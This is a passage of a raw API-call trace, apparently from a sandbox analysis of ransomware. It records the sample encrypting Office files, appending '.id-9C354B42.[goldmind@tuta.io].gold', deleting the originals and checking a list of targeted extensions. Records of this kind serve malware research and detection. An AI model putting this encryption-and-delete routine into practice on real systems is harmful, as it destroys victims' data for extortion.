Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0099.255] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=41864) returned 1 [0099.255] CloseHandle (hObject=0x3b0) returned 1 [0099.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0099.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.268] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.268] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.397] GetLastError () returned 0x0 [0099.397] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xa388, lpOverlapped=0x0) returned 1 [0099.405] WriteFile (in: hFile=0x190, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0099.406] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.407] WriteFile (in: hFile=0x190, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.407] SetEndOfFile (hFile=0x190) returned 1 [0099.407] CloseHandle (hObject=0x190) returned 1 [0099.407] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.407] SetEndOfFile (hFile=0x3ac) returned 1 [0099.531] CloseHandle (hObject=0x3ac) returned 1 [0099.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 1 [0099.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.531] lstrlenW (lpString=".doc") returned 4 [0099.531] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString=".docx") returned 5 [0099.532] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0099.532] lstrlenW (lpString=".pdf") returned 4 [0099.532] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString=".xls") returned 4 [0099.532] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0099.532] lstrlenW (lpString=".xlsx") returned 5 [0099.532] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0099.532] lstrlenW (lpString=".ppt") returned 4 [0099.532] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString=".zip") returned 4 [0099.532] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0099.532] lstrlenW (lpString=".rar") returned 4 [0099.532] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString=".bz2") returned 4 [0099.532] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString=".7z") returned 3 [0099.532] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString=".dbf") returned 4 [0099.532] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString=".1cd") returned 4 [0099.532] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString=".jpg") returned 4 [0099.532] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString=".doc") returned 4 [0099.532] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString=".docx") returned 5 [0099.532] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0099.532] lstrlenW (lpString=".pdf") returned 4 [0099.532] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString=".xls") returned 4 [0099.532] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0099.532] lstrlenW (lpString=".xlsx") returned 5 [0099.532] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0099.532] lstrlenW (lpString=".ppt") returned 4 [0099.532] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0099.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.532] lstrlenW (lpString=".zip") returned 4 [0099.532] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0099.533] lstrlenW (lpString=".rar") returned 4 [0099.533] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0099.533] lstrlenW (lpString=".bz2") returned 4 [0099.533] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0099.533] lstrlenW (lpString=".7z") returned 3 [0099.533] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0099.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.533] lstrlenW (lpString=".dbf") returned 4 [0099.533] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0099.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.533] lstrlenW (lpString=".1cd") returned 4 [0099.533] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0099.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0099.533] lstrlenW (lpString=".jpg") returned 4 [0099.533] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0099.533] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0099.533] lstrlenW (lpString="ASSET.VRD") returned 9 [0099.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.533] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1694) returned 1 [0099.533] CloseHandle (hObject=0x3ac) returned 1 [0099.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0099.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.534] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.534] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.534] GetLastError () returned 0x0 [0099.534] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x69e, lpOverlapped=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x364, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0099.549] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.549] WriteFile (in: hFile=0x364, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0099.549] SetEndOfFile (hFile=0x364) returned 1 [0099.559] CloseHandle (hObject=0x364) returned 1 [0099.559] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.559] SetEndOfFile (hFile=0x3ac) returned 1 [0099.561] CloseHandle (hObject=0x3ac) returned 1 [0099.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".doc") returned 4 [0099.608] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString=".docx") returned 5 [0099.608] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0099.608] lstrlenW (lpString=".pdf") returned 4 [0099.608] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString=".xls") returned 4 [0099.608] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0099.608] lstrlenW (lpString=".xlsx") returned 5 [0099.608] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0099.608] lstrlenW (lpString=".ppt") returned 4 [0099.608] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".zip") returned 4 [0099.608] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0099.608] lstrlenW (lpString=".rar") returned 4 [0099.608] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString=".bz2") returned 4 [0099.608] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString=".7z") returned 3 [0099.608] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".dbf") returned 4 [0099.608] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".1cd") returned 4 [0099.608] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".jpg") returned 4 [0099.608] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".doc") returned 4 [0099.608] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString=".docx") returned 5 [0099.608] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0099.608] lstrlenW (lpString=".pdf") returned 4 [0099.608] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString=".xls") returned 4 [0099.608] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0099.608] lstrlenW (lpString=".xlsx") returned 5 [0099.608] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0099.608] lstrlenW (lpString=".ppt") returned 4 [0099.608] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0099.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.608] lstrlenW (lpString=".zip") returned 4 [0099.608] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0099.608] lstrlenW (lpString=".rar") returned 4 [0099.609] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0099.609] lstrlenW (lpString=".bz2") returned 4 [0099.609] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0099.609] lstrlenW (lpString=".7z") returned 3 [0099.609] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0099.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.609] lstrlenW (lpString=".dbf") returned 4 [0099.609] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0099.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.609] lstrlenW (lpString=".1cd") returned 4 [0099.609] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0099.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57 [0099.609] lstrlenW (lpString=".jpg") returned 4 [0099.609] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0099.609] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.609] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0099.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.622] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=35216) returned 1 [0099.622] CloseHandle (hObject=0x198) returned 1 [0099.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) returned 0x20 [0099.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.640] lstrlenW (lpString=".doc") returned 4 [0099.641] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".docx") returned 5 [0099.641] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0099.641] lstrlenW (lpString=".pdf") returned 4 [0099.641] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".xls") returned 4 [0099.641] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".xlsx") returned 5 [0099.641] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0099.641] lstrlenW (lpString=".ppt") returned 4 [0099.641] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString=".zip") returned 4 [0099.641] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".rar") returned 4 [0099.641] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".bz2") returned 4 [0099.641] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.641] lstrlenW (lpString=".7z") returned 3 [0099.641] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString=".dbf") returned 4 [0099.641] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString=".1cd") returned 4 [0099.641] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString=".jpg") returned 4 [0099.641] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString=".doc") returned 4 [0099.641] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".docx") returned 5 [0099.641] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0099.641] lstrlenW (lpString=".pdf") returned 4 [0099.641] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".xls") returned 4 [0099.641] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".xlsx") returned 5 [0099.641] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0099.641] lstrlenW (lpString=".ppt") returned 4 [0099.641] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.641] lstrlenW (lpString=".zip") returned 4 [0099.641] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".rar") returned 4 [0099.641] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.641] lstrlenW (lpString=".bz2") returned 4 [0099.641] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.641] lstrlenW (lpString=".7z") returned 3 [0099.641] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.642] lstrlenW (lpString=".dbf") returned 4 [0099.642] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.642] lstrlenW (lpString=".1cd") returned 4 [0099.642] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0099.642] lstrlenW (lpString=".jpg") returned 4 [0099.642] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.642] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0099.642] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0099.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.642] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=16256) returned 1 [0099.642] CloseHandle (hObject=0x364) returned 1 [0099.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20 [0099.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString=".doc") returned 4 [0099.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".docx") returned 5 [0099.643] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0099.643] lstrlenW (lpString=".pdf") returned 4 [0099.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".xls") returned 4 [0099.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".xlsx") returned 5 [0099.643] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0099.643] lstrlenW (lpString=".ppt") returned 4 [0099.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString=".zip") returned 4 [0099.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".rar") returned 4 [0099.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".bz2") returned 4 [0099.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.643] lstrlenW (lpString=".7z") returned 3 [0099.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString=".dbf") returned 4 [0099.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString=".1cd") returned 4 [0099.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString=".jpg") returned 4 [0099.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0099.643] lstrlenW (lpString=".doc") returned 4 [0099.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".docx") returned 5 [0099.643] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0099.643] lstrlenW (lpString=".pdf") returned 4 [0099.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.643] lstrlenW (lpString=".xls") returned 4 [0099.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 